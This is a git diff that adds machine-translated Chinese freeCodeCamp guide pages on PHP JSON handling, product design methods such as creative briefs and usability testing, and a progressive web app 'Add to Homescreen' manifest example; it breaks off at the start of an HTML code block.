index 0000000000..21e59d7c1e
--- /dev/null
+++ b/client/src/guide/chinese/php/working-with-databases/mysqli/index.md
@@ -0,0 +1,11 @@
+---
+title: MySQLi
+localeTitle: 库MySQLi
+---
+## 库MySQLi
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/working-with-databases/mysqli/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/working-with-json-apis/index.md b/client/src/guide/chinese/php/working-with-json-apis/index.md
new file mode 100644
index 0000000000..fa56fc99b7
--- /dev/null
+++ b/client/src/guide/chinese/php/working-with-json-apis/index.md
@@ -0,0 +1,55 @@
+---
+title: Working With JSON APIs
+localeTitle: 使用JSON API
+---
+## 使用JSON API
+
+JSON的一个常见用途是从Web服务器读取数据，并在网页中显示数据。
+
+本章将教您如何在客户端和PHP服务器之间交换JSON数据。
+
+### PHP文件
+
+PHP有一些内置函数来处理JSON。
+
+可以使用PHP函数`json_encode()`将PHP中的对象转换为JSON：
+
+```php
+<?php 
+ $myObj->name = "John"; 
+ $myObj->age = 30; 
+ $myObj->city = "New York"; 
+ 
+ $myJSON = json_encode($myObj); 
+ 
+ echo $myJSON; 
+ ?> 
+```
+
+[试试吧](https://www.w3schools.com/js/showphp.asp?filename=demo_file)
+
+### 客户端JavaScript
+
+这是客户端上的JavaScript，使用AJAX调用从上面的示例请求PHP文件：
+
+#### 例
+
+使用JSON.parse（）将结果转换为JavaScript对象：
+
+```js
+var xmlhttp = new XMLHttpRequest(); 
+ xmlhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+        var myObj = JSON.parse(this.responseText); 
+        document.getElementById("demo").innerHTML = myObj.name; 
+    } 
+ }; 
+ xmlhttp.open("GET", "demo_file.php", true); 
+ xmlhttp.send(); 
+```
+
+[试试吧](https://www.w3schools.com/js/tryit.asp?filename=tryjson_php_simple)
+
+### 更多信息：
+
+*   有关更多信息， [请查看此链](https://www.w3schools.com/js/js_json_php.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/xml/index.md b/client/src/guide/chinese/php/xml/index.md
new file mode 100644
index 0000000000..4332fb901b
--- /dev/null
+++ b/client/src/guide/chinese/php/xml/index.md
@@ -0,0 +1,11 @@
+---
+title: XML
+localeTitle: XML
+---
+## XML
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/xml/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/brand-identity/index.md b/client/src/guide/chinese/product-design/brand-identity/index.md
new file mode 100644
index 0000000000..e1faea9bd6
--- /dev/null
+++ b/client/src/guide/chinese/product-design/brand-identity/index.md
@@ -0,0 +1,15 @@
+---
+title: Brand Identity
+localeTitle: 品牌识别
+---
+## 品牌识别
+
+品牌识别是品牌的面貌。正如前一节所讨论的，品牌是一种情感甚至是哲学概念，而品牌识别是代表那些更大创意的品牌的视觉组成部分。
+
+品牌标识包括徽标，排版，颜色，包装和信息，它补充并强化了品牌的现有声誉。品牌识别吸引新客户加入品牌，同时让现有客户有宾至如归的感觉。它既面向外，也面向内。
+
+品牌标识必须保持一致至关重要。因为它代表并强化了品牌的情感，所以品牌识别组件所描绘的信息需要清晰明确，无论在何处展示，都需要相同。
+
+#### 更多信息：
+
+[99designs - 品牌识别](https://99designs.com/blog/tips/brand-identity/) [用户体验很重要 - 用户体验设计的品牌经验](https://www.uxmatters.com/mt/archives/2006/07/brand-experience-in-user-experience-design.php) [只是创意 - 品牌，身份和标志设计的解释](http://justcreative.com/2010/04/06/branding-identity-logo-design-explained/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/concept-generation/index.md b/client/src/guide/chinese/product-design/concept-generation/index.md
new file mode 100644
index 0000000000..a5c38ddd39
--- /dev/null
+++ b/client/src/guide/chinese/product-design/concept-generation/index.md
@@ -0,0 +1,11 @@
+---
+title: Concept Generation
+localeTitle: 概念生成
+---
+## 概念生成
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/concept-generation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/contextual-inquiries/index.md b/client/src/guide/chinese/product-design/contextual-inquiries/index.md
new file mode 100644
index 0000000000..1fa7ca4e79
--- /dev/null
+++ b/client/src/guide/chinese/product-design/contextual-inquiries/index.md
@@ -0,0 +1,21 @@
+---
+title: Contextual Inquiries
+localeTitle: 上下文查询
+---
+## 上下文查询
+
+上下文查询是一种沉浸式方法，用于发现设计在其使用环境中的表现。设计人员可以使用上下文查询来发现用户可能无意识地意识到的设计方面。上下文查询涉及访问用户并观察他们在自己的环境中使用设计。
+
+要记住四件事：
+
+必须保持**上下文** - 设计者应该设法了解用户对设计的持续体验，为此，在设计的日常生活中关注用户至关重要。
+
+**合作伙伴关系** - 设计师应该提出富有洞察力的问题，以深入探究用户对设计的理解。如果用户在使用设计时回答，他们的答案将更加丰富，更完整。
+
+**解释** - 设计者应该尝试解释从访谈和观察中收集的数据，同时他们仍然在用户的现场。尝试验证与用户有关数据的任何假设的准确性至关重要。
+
+**焦点** - 设计师应该关注用户对设计如何工作的心理模型。在设计师可能对用户的操作或问题答案感到困惑或惊讶的情况下，设计师可以借此机会尝试更好地理解用户的观点，并将其融入到迭代迭代中。
+
+#### 引文
+
+Martin，Bella和Bruce M. Hanington。通用的设计方法100种方法来研究复杂的问题，开发创新的想法，并设计有效的解决方案。 Rockport Publishers，2012。
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/creative-briefs/index.md b/client/src/guide/chinese/product-design/creative-briefs/index.md
new file mode 100644
index 0000000000..efaba77d45
--- /dev/null
+++ b/client/src/guide/chinese/product-design/creative-briefs/index.md
@@ -0,0 +1,37 @@
+---
+title: Creative Briefs
+localeTitle: 创意简报
+---
+## 创意简报
+
+**1.什么是创意简报？为什么需要？是谁的？**
+
+创意简报（“CB”）是一个项目文档，非常类似于项目简介，在与生产团队一起启动时很有帮助。它被各种规模的创意团队用于代理商，初创公司和大型软件公司。它是一个代表愿景，项目目标的路线图，它描述了受众并概述了您将在其中工作的品牌指南;它回答了“品牌在世界上的表现如何？”的问题。它甚至可能包括从利益相关者/客户（内容，品牌指南，分析......）到创意团队的可交付成果的细节，反之亦然。它是通知和激励，而不是限制。它是一种解放工具，因为它简洁地定义了创意所需的内容。
+
+**2.何时撰写，由谁撰写？**
+
+当一个新项目进入时，通常会有一段时间的发现，其中创建了初始项目范围和定义文档\*，这些是高级项目简介，需要收集功能，技术，创意和品牌要求等。创意简报的种子来自这个最初的发现阶段，并且是一个确定的发现步骤，通常发生在上述文档完成之后（CB大致通过这些先前与利益相关者/客户的对话收集的信息）。
+
+CB通常由制作团队的创意总监撰写。他们领导会议，其中收集信息以用于简报以及其任何迭代。他们还负责向创意团队传播最终简报，确保最终产品反映客户授权/批准的简报。 CB可能由产品总监，产品负责人，产品经理等起草，因为这些角色/头衔现在不断变化。我们的目标是让创意领导者也对商业和品牌有所了解。
+
+_注意：虽然在所有发现文档中都有大量信息要进行通信，但您最多也应该能够将每个信息提取到一两页。事实上，简短的说法是简短的。_
+
+**3.简短的简介是什么样的？**
+
+您现在知道，良好的CB对您项目的成功至关重要。这是创意简报中的细节，真正有助于团队提供。简要说明越清楚，他们就越了解客户和品牌，他们就越能够在第一次尝试时捕捉到信息和整体愿景。
+
+**4.撰写创意简报的提示：**
+
+过程：
+
+1.  制定简报的最佳方法之一是与房间内的客户合作 - 实时塑造简报。邀请关键利益相关者和生产团队的负责人（通常是项目经理，创意和艺术总监，技术主管，用户体验领导，营销/商业领导）。创意总监推动会议，但所有成员通过追求清晰度和/或提供示例场景来进一步改进方向，信息，愿景，市场意识等，来倾听/参与（并支持CD）。
+    
+2.  使用白板并按照工作表（附上示例），提示所有正确的问题。鼓励有机讨论，来自客户的意识流。倾听而不是说话 - 这很关键。此会话以客户为中心。如果您需要更清晰，请深入了解更多细节。这是起草简报的关键阶段。
+    
+3.  如果您不熟悉编写CB，请参考样本真实世界创意简报，以了解答案的措辞，理解使用的语言，思维过程和框架。
+    
+
+#### 更多信息：
+
+*   [示例真实世界创意简报](http://bit.ly/2zBGUX5)
+*   [创意简报工作表](http://bit.ly/2y4x7HV)
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/customer-empathy/index.md b/client/src/guide/chinese/product-design/customer-empathy/index.md
new file mode 100644
index 0000000000..606b1667ca
--- /dev/null
+++ b/client/src/guide/chinese/product-design/customer-empathy/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Empathy
+localeTitle: 客户同理心
+---
+## 客户同理心
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-empathy/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/customer-interviews/index.md b/client/src/guide/chinese/product-design/customer-interviews/index.md
new file mode 100644
index 0000000000..924637b0d7
--- /dev/null
+++ b/client/src/guide/chinese/product-design/customer-interviews/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Interviews
+localeTitle: 客户访谈
+---
+## 客户访谈
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-interviews/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/customer-journey-maps/index.md b/client/src/guide/chinese/product-design/customer-journey-maps/index.md
new file mode 100644
index 0000000000..af1dfa3355
--- /dev/null
+++ b/client/src/guide/chinese/product-design/customer-journey-maps/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Journey Maps
+localeTitle: 客户旅程地图
+---
+## 客户旅程地图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-journey-maps/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/data-driven-design/index.md b/client/src/guide/chinese/product-design/data-driven-design/index.md
new file mode 100644
index 0000000000..7d80fbab8a
--- /dev/null
+++ b/client/src/guide/chinese/product-design/data-driven-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Driven Design
+localeTitle: 数据驱动设计
+---
+## 数据驱动设计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/data-driven-design/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/defining-brands/index.md b/client/src/guide/chinese/product-design/defining-brands/index.md
new file mode 100644
index 0000000000..c25bbe7d02
--- /dev/null
+++ b/client/src/guide/chinese/product-design/defining-brands/index.md
@@ -0,0 +1,11 @@
+---
+title: Defining Brands
+localeTitle: 定义品牌
+---
+## 定义品牌
+
+设计师不能“制造”一个品牌。或者设计一个品牌。设计师设计反映品牌的品牌标识。
+
+品牌本身必须来自公司。从他们的品牌战略。
+
+他们的核心价值观是什么？ 他们代表什么？ 是什么让他们的产品独特？ 他们独特的卖点是什么？ 谁是他们的目标客户？ 像这样的问题构成了品牌战略的基础，应该首先在公司内部建立。设计师或设计机构构建品牌的基础，或者被引入以增强品牌的视觉和企业形象
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/diary-studies/index.md b/client/src/guide/chinese/product-design/diary-studies/index.md
new file mode 100644
index 0000000000..da1c249a6e
--- /dev/null
+++ b/client/src/guide/chinese/product-design/diary-studies/index.md
@@ -0,0 +1,17 @@
+---
+title: Diary Studies
+localeTitle: 日记研究
+---
+## 日记研究
+
+日记研究被用作从用户参与者收集信息的长期方法。日记可以记录参与者生活中的想法，感受或行为。设计者可以将这些信息用作探索性研究和创意生成的方法。
+
+用户参与者将获得一个空白日记，应尽可能经常与他们保持联系。或者，可以使用在线日志。应向参与者通报感兴趣的主题，因此日记条目特定于给定主题。可以指示参与者在特定情况下写入条目，参与给定行为或与给定产品交互。他们还可以被指示在一天，一周或一个月的特定时间写入条目。
+
+日记条目可以包含任何内容 - 文本，草图，绘图，符号，图片甚至贴纸。每个条目都应以提示或想法为指导。
+
+一旦收集，研究人员可以分析日记条目并检测参与者之间的潜在模式。收集的信息可用于激励设计师，并提供对任何潜在设计的潜在限制的洞察力。
+
+#### 引文
+
+Martin，Bella和Bruce M. Hanington。通用的设计方法100种方法来研究复杂的问题，开发创新的想法，并设计有效的解决方案。 Rockport Publishers，2012。
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/empathy-maps/index.md b/client/src/guide/chinese/product-design/empathy-maps/index.md
new file mode 100644
index 0000000000..560dc4e68a
--- /dev/null
+++ b/client/src/guide/chinese/product-design/empathy-maps/index.md
@@ -0,0 +1,13 @@
+---
+title: Empathy Maps
+localeTitle: 移情地图
+---
+## 移情地图
+
+移情地图是用于在展示用户研究时引入和人性化客户的重要工具。它们在内部用于更深入地了解客户。
+
+典型的移情地图提供了关于受访者的基本信息，并将研究视觉分为四个象限 - 用户的想法，行为，说法和感受。以下是一个例子。 ![替代文字](https://www.webtexttool.com/wp-content/uploads/2015/05/The-Empathy-Map.png)
+
+#### 更多信息：
+
+[如何使用角色移情映射](https://uxmag.com/articles/how-to-use-persona-empathy-mapping) [设计思维：移情地图](https://uxdict.io/design-thinking-empathy-map-c69ab5d6b22)
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/feature-analysis/index.md b/client/src/guide/chinese/product-design/feature-analysis/index.md
new file mode 100644
index 0000000000..45bc862bb1
--- /dev/null
+++ b/client/src/guide/chinese/product-design/feature-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Analysis
+localeTitle: 特征分析
+---
+## 特征分析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/feature-analysis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/feature-matrix/index.md b/client/src/guide/chinese/product-design/feature-matrix/index.md
new file mode 100644
index 0000000000..6732a09e41
--- /dev/null
+++ b/client/src/guide/chinese/product-design/feature-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Matrix
+localeTitle: 特征矩阵
+---
+## 特征矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/feature-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/heuristic-review/index.md b/client/src/guide/chinese/product-design/heuristic-review/index.md
new file mode 100644
index 0000000000..3058eae608
--- /dev/null
+++ b/client/src/guide/chinese/product-design/heuristic-review/index.md
@@ -0,0 +1,17 @@
+---
+title: Heuristic Review
+localeTitle: 启发式评论
+---
+## 启发式评论
+
+启发式评论以一系列启发式方法为中心：行业专家商定的最佳实践。在启发式审核中，评估者将根据一组给定的启发式判断设计，并在招募实际用户测试设计之前尝试识别设计的任何问题。例如，看看[Jakob Nielsen的10个可用性启发式算法](https://www.nngroup.com/articles/ten-usability-heuristics/) 。
+
+任何人都可以进行启发式审核。行业专家可能会发现比新手更多的问题，但新手可以轻松地使用这种方法。此外，一组评估人员可以确定一个独特的问题子集;与单个新手相比，共同形成一系列问题。
+
+在进行启发式审核时，评估者应注意仅搜索与启发式集相关的问题。这种方法不一定能提供任何设计突破，但它提供了一种快速有效的方法来检测设计中的关键缺失部分。
+
+当低保真模型可用时，应该进行启发式审查，这可以导致更好，更周到的设计，然后可以向真实用户显示。
+
+#### 引文
+
+Martin，Bella和Bruce M. Hanington。通用的设计方法100种方法来研究复杂的问题，开发创新的想法，并设计有效的解决方案。 Rockport Publishers，2012。
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/hypotheses-and-validating-assumptions/index.md b/client/src/guide/chinese/product-design/hypotheses-and-validating-assumptions/index.md
new file mode 100644
index 0000000000..01609e94c7
--- /dev/null
+++ b/client/src/guide/chinese/product-design/hypotheses-and-validating-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypotheses and Validating Assumptions
+localeTitle: 假设和验证假设
+---
+## 假设和验证假设
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/hypotheses-and-validating-assumptions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/index.md b/client/src/guide/chinese/product-design/index.md
new file mode 100644
index 0000000000..c04d4316c0
--- /dev/null
+++ b/client/src/guide/chinese/product-design/index.md
@@ -0,0 +1,7 @@
+---
+title: Product Design
+localeTitle: 产品设计
+---
+## 产品设计
+
+在本节中，我们将为产品设计人员使用的各种工具和方法提供指南。
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/landing-page-testing/index.md b/client/src/guide/chinese/product-design/landing-page-testing/index.md
new file mode 100644
index 0000000000..0a9789a841
--- /dev/null
+++ b/client/src/guide/chinese/product-design/landing-page-testing/index.md
@@ -0,0 +1,7 @@
+---
+title: Landing Page Testing
+localeTitle: 登陆页面测试
+---
+## 登陆页面测试
+
+登陆页面，正如它自己的名字所说，它是您的访问者感兴趣的地方。当你乘飞机旅行到另一个地方时，机场是你看到的第一个地方，对吧？着陆页的工作方式相同，您的任务是为访问者创建最佳体验，引导他们订阅您的邮件或购买服务。
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/qualitative-testing/index.md b/client/src/guide/chinese/product-design/qualitative-testing/index.md
new file mode 100644
index 0000000000..a6af10beeb
--- /dev/null
+++ b/client/src/guide/chinese/product-design/qualitative-testing/index.md
@@ -0,0 +1,29 @@
+---
+title: Qualitative Testing
+localeTitle: 定性测试
+---
+## 定性测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/qualitative-testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+定性测试包含一组用于确定系统质量的活动。
+
+在软件方面，领域专家（例如测试工程师或用户研究员）使用各种技术来确定解决方案的感知质量。
+
+这些技术可能涉及：
+
+### 用户访谈
+
+研究人员采访符合目标用户角色的人，向他们询问有关他们对所讨论系统的理解和欣赏的各种问题，并尽量减少启动。向用户提供介绍，可能只是被要求尝试使用该系统。 在此过程中，研究人员通过注意到反应的语气，肢体语言，烦躁或喜悦来记录用户的明确反应以及隐性反应。
+
+### 调查
+
+虽然调查通常用于确定统计信息（或其相关性），但它们可能包含开放式问题，然后研究人员会对其进行分析以确定用户感知。
+
+### 个人判断
+
+领域专家还可以基于他们的经验给出直接的定性反馈，例如UI设计者可以清楚地看到网站上的颜色主题产生认知不协调。这种反馈是定性测试中非常有价值的部分。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/quantitative-testing/index.md b/client/src/guide/chinese/product-design/quantitative-testing/index.md
new file mode 100644
index 0000000000..91aad03552
--- /dev/null
+++ b/client/src/guide/chinese/product-design/quantitative-testing/index.md
@@ -0,0 +1,28 @@
+---
+title: Quantitative Testing
+localeTitle: 定量测试
+---
+## 定量测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/quantitative-testing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+定量测试意味着测试以确定给定假设或现象的频率，幅度，复发。
+
+在软件方面，它可以是以下任何一种（但不限于）：
+
+*   在您的网站/界面上执行特定操作的唯一身份用户的百分比
+*   您的应用崩溃的次数
+*   服务器对特定请求的平均响应时间由一定数量的用户决定
+*   服务器在响应时间开始降级之前可以处理的请求总数
+
+因此，可以在以下任何伞式测试活动中执行定量测试：
+
+### A / B测试
+
+### 性能测试
+
+### 负载测试
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/storyboards/index.md b/client/src/guide/chinese/product-design/storyboards/index.md
new file mode 100644
index 0000000000..decff26902
--- /dev/null
+++ b/client/src/guide/chinese/product-design/storyboards/index.md
@@ -0,0 +1,21 @@
+---
+title: Storyboards
+localeTitle: 故事板
+---
+## 故事板
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/storyboards/index.md) 。
+
+欢迎提供更多的贡献。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### Chatbot故事板
+
+会话流程：指构建会话代理对话的步骤。
+
+#### 聊天机器人讲故事
+
+如何构建依赖于用户故事的域特定会话代理（例如，健康，教育，电子商务）
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/testing-our-assumptions/index.md b/client/src/guide/chinese/product-design/testing-our-assumptions/index.md
new file mode 100644
index 0000000000..530bb20595
--- /dev/null
+++ b/client/src/guide/chinese/product-design/testing-our-assumptions/index.md
@@ -0,0 +1,15 @@
+---
+title: Testing Our Assumptions
+localeTitle: 测试我们的假设
+---
+## 测试我们的假设
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/testing-our-assumptions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 初始可用性测试：
+
+如何在开始设计阶段之前测试用户的想法。这通常用纸草图完成。 更多资源来自：https：//www.usertesting.com/blog/2015/05/13/31-questions-every-designer-should-ask-when-testing-prototypes/
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/understanding-competitors/index.md b/client/src/guide/chinese/product-design/understanding-competitors/index.md
new file mode 100644
index 0000000000..099af6ae4a
--- /dev/null
+++ b/client/src/guide/chinese/product-design/understanding-competitors/index.md
@@ -0,0 +1,31 @@
+---
+title: Understanding Competitors
+localeTitle: 了解竞争对手
+---
+## 了解竞争对手
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/understanding-competitors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+竞争对手分析包括将您的解决方案或想法与现有或潜在竞争对手开发的内容进行比较的活动。这是一项非常有价值的练习，有助于了解市场情况，产品期望并可能发现更多产品创意。 除了了解您的竞争对手之外，竞争对手分析的一个主要原因是发现您自己的独特卖点。
+
+竞争对手分析可能包括以下做法：
+
+### 特征比较
+
+竞争对手分析中最基本和最重要的部分之一是功能比较。本练习将告诉您，您和您的竞争对手是否提供相同的功能或更多或更少的功能。 您可以进一步了解这些功能的重要性，以确定您在核心功能方面是否与众不同。 此外，您可以查看您的竞争对手产品的完整性。
+
+### 定性比较
+
+在这里，您将了解功能的可用性及其呈现方式。您可能会发现，虽然您的竞争对手提供与您相同的功能，但他们的文档可能会更优越，从而使其产品对客户更具吸引力（如果适用）。 如果您要比较移动应用，那么区别因素可能是用户体验。例如，考虑一下您在手机上使用的笔记应用程序与不使用的笔记本应用程序。大多数笔记应用程序具有相似的功能，但易用性使其中的一小部分成为热门，而成千上万的类似应用程序却没有。
+
+### 定价和分布比较
+
+重要的是要看竞争对手如何定价他们的产品。这不仅告诉您如何为产品定价，还可以为您提供有关客户可接受的价格范围的宝贵见解。 您还可以进一步查看竞争对手是通过免费试用版提供应用程序，还是通过付费功能提供免费功能或仅支付费用。他们是否只选择邀请，创造一种独特感，还是每个人都可以自由访问？ 您的竞争对手是直接转到最终客户还是通过经销商工作？这些都是迈向市场现实的好指针。
+
+#### 概要
+
+简而言之，竞争对手分析可帮助您了解市场，并为您提供更好地定位产品的信息。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/product-design/usability-testing/index.md b/client/src/guide/chinese/product-design/usability-testing/index.md
new file mode 100644
index 0000000000..b425101543
--- /dev/null
+++ b/client/src/guide/chinese/product-design/usability-testing/index.md
@@ -0,0 +1,21 @@
+---
+title: Usability Testing
+localeTitle: 可用性测试
+---
+## 可用性测试
+
+可用性测试允许设计人员评估真实用户如何与他们的设计进行交互。设计人员将发现设计中最让用户感到沮丧或困惑的区域，这些问题可以优先考虑。设计师还将发现设计中的亮点，用户会惊喜或高兴。
+
+可用性测试是围绕设计人员设想为“典型”场景的场景设计的。这些场景将包括任务，这些任务是可以通过设计完成的具体操作。任务应直接与目标用户的实际目标相关联。设计师应注意不要通过情境或任务的措辞来偏袒用户。
+
+可用性测试通常围绕“思考 - 声音协议”技术设计，用户将在与设计交互时决定他们的行为和想法。
+
+设计师应注意以下潜在问题：
+
+1）用户理解任务，但无法及时完成 2）用户表示惊讶或喜悦 3）用户表达沮丧或困惑 4）用户指出对他们没有意义的事情 5）用户建议更改设计
+
+同样重要的是要记住，通过可用性测试，可以通过更多参与者发现更多问题。如果适用的话，记录参与者的面部和音频以及移动应用程序内的屏幕和任何手指按压也可能是有益的。
+
+#### 引文
+
+Martin，Bella和Bruce M. Hanington。通用的设计方法100种方法来研究复杂的问题，开发创新的想法，并设计有效的解决方案。 Rockport Publishers，2012。
\ No newline at end of file
diff --git a/client/src/guide/chinese/progressive-web-apps/add-to-homescreen/index.md b/client/src/guide/chinese/progressive-web-apps/add-to-homescreen/index.md
new file mode 100644
index 0000000000..6b628762db
--- /dev/null
+++ b/client/src/guide/chinese/progressive-web-apps/add-to-homescreen/index.md
@@ -0,0 +1,136 @@
+---
+title: Add To Homescreen
+localeTitle: 添加到主屏幕
+---
+## 添加到主屏幕
+
+这里的网络应用安装横幅专注于网络应用，具有添加到主屏幕的功能。
+
+### 浏览器支持添加到主屏幕
+
+目前支持添加到主屏幕功能：
+
+*   铬
+*   iOS Safari
+
+您可以在[此处查看](https://caniuse.com/#feat=web-app-manifest)此功能的浏览器支持的最新状态。
+
+### 在Android上
+
+在Android上，如果您满足特定要求，则会自动显示“添加到主屏幕”横幅。这就是Android应该是这样的：
+
+|添加到主屏幕提示|当应用程序启动时| | ：----------------------：| ：---------------：| | ![prompt](https://user-images.githubusercontent.com/15358452/31663686-860779f0-b375-11e7-85c9-1387d9b3bfcf.png "在android上添加到主屏幕提示") | ![launch](https://user-images.githubusercontent.com/15358452/31663690-89b0d998-b375-11e7-8a84-f3e33be9a2c2.png "从Homescreen启动") |
+
+#### 要求
+
+*   包含一个`manifest.json`文件，其中包含以下属性：
+*   `short name`
+*   `name`
+*   `192x192`大小的`png`图标
+*   `start_url`
+*   包括已注册和激活的服务工作者
+*   通过HTTPS提供的网站（您仍然可以在没有HTTPS的情况下使用localhost尝试此操作）
+*   该网站符合Chrome定义的参与启发式
+
+#### 的manifest.json
+
+```json
+{ 
+  "name": "FreeCodeCamp", 
+  "short_name": "FreeCodeCamp", 
+  "theme_color": "#00FF00", 
+  "background_color": "#00FF00", 
+  "display": "standalone", 
+  "Scope": "/", 
+  "start_url": "/", 
+  "icons": [ 
+    { 
+      "src": "assets/images/icons/icon-72x72.png", 
+      "sizes": "72x72", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-96x96.png", 
+      "sizes": "96x96", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-128x128.png", 
+      "sizes": "128x128", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-144x144.png", 
+      "sizes": "144x144", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-152x152.png", 
+      "sizes": "152x152", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-192x192.png", 
+      "sizes": "192x192", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-384x384.png", 
+      "sizes": "384x384", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-512x512.png", 
+      "sizes": "512x512", 
+      "type": "image/png" 
+    } 
+  ], 
+  "splash_pages": null 
+ } 
+```
+
+*   `name`是Web应用程序的名称。 （它将在启动屏幕中显示）
+*   `short name`是Web应用程序的简称。 （它将显示在手机菜单图标下方）
+*   `theme_color`是浏览器顶部的颜色。
+*   `background_color`是启动屏幕的背景颜色。
+*   `display`是Web应用程序在手机上启动后应显示的方式。
+*   `start_url`定义网站的起始网址。
+*   `icons`是一个存储所有图像位置，大小和类型的数组。
+
+### 在其他设备上
+
+虽然此方法在iOS和Windows上不起作用，但有一种回退方法。
+
+**iOS版**
+
+在iOS上，必须手动添加“添加到主屏幕”按钮。将以下元标记添加到HTML的head部分以支持iOS Web应用程序图标。
+
+```html
+
